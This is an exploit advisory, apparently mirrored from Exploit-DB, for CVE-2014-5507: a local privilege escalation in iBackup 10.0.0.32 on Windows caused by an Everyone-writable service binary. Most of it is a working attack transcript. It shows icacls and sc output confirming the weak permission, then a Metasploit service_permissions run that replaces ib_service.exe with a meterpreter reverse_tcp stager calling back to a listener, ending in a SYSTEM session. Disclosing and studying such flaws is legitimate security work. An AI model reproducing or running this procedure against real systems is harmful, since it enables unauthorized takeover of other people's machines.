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本地漏洞: - iBackup 10.0.0.32 - Local Privilege Escalation

2014-10-23 06:10
# Exploit Title: iBackup <= 10.0.0.32 Local Privilege Escalation
# Date: 23/01/2014
# Author: Glafkos Charalambous <glafkos.charalambous[at]unithreat.com>
# Version: 10.0.0.32
# Vendor: IBackup
# Vendor URL: https://www.ibackup.com/
# CVE-2014-5507


Vulnerability Details
There are weak permissions for IBackupWindows default installation where everyone is allowed to change
the ib_service.exe with an executable of their choice. When the service restarts or the system reboots
the attacker payload will execute on the system with SYSTEM privileges.


C:\Users\0x414141>icacls "C:\Program Files\IBackupWindows\ib_service.exe"
C:\Program Files\IBackupWindows\ib_service.exe Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files


C:\Users\0x414141>sc qc IBService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IBService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\IBackupWindows\ib_service.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : IBackup Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem



msf exploit(service_permissions) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 0x414141-PC\0x414141 @ 0x414141-PC 192.168.0.100:8443 -> 192.168.0.102:1158 (192.168.0.102)



msf exploit(service_permissions) > show options

Module options (exploit/windows/local/service_permissions):

Name Current Setting Required Description
---- --------------- -------- -----------
AGGRESSIVE true no Exploit as many services as possible (dangerous)
SESSION 1 yes The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none)
LHOST 192.168.0.100 yes The listen address
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic


msf exploit(service_permissions) > exploit

[*] Started reverse handler on 192.168.0.100:4444
[*] Meterpreter stager executable 15872 bytes long being uploaded..
[*] Trying to add a new service...
[*] No privs to create a service...
[*] Trying to find weak permissions in existing services..
[*] IBService has weak file permissions - C:\Program Files\IBackupWindows\ib_service.exe moved to C:\Program Files\IBackupWindows\ib_service.exe.bak and replaced.
[*] Restarting IBService
[*] Could not restart IBService. Wait for a reboot. (or force one yourself)

Upon Reboot or Service Restart

[*] Sending stage (770048 bytes) to 192.168.0.102
[*] Meterpreter session 2 opened (192.168.0.100:4444 -> 192.168.0.102:14852) at 2014-07-21 00:52:36 +0300
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 2...

msf exploit(service_permissions) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 0x414141-PC\0x414141 @ 0x414141-PC 192.168.0.100:8443 -> 192.168.0.102:1158 (192.168.0.102)
2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ 0x414141-PC 192.168.0.100:4444 -> 192.168.0.102:14852 (192.168.0.102)






知识来源: www.exploit-db.com/exploits/35040

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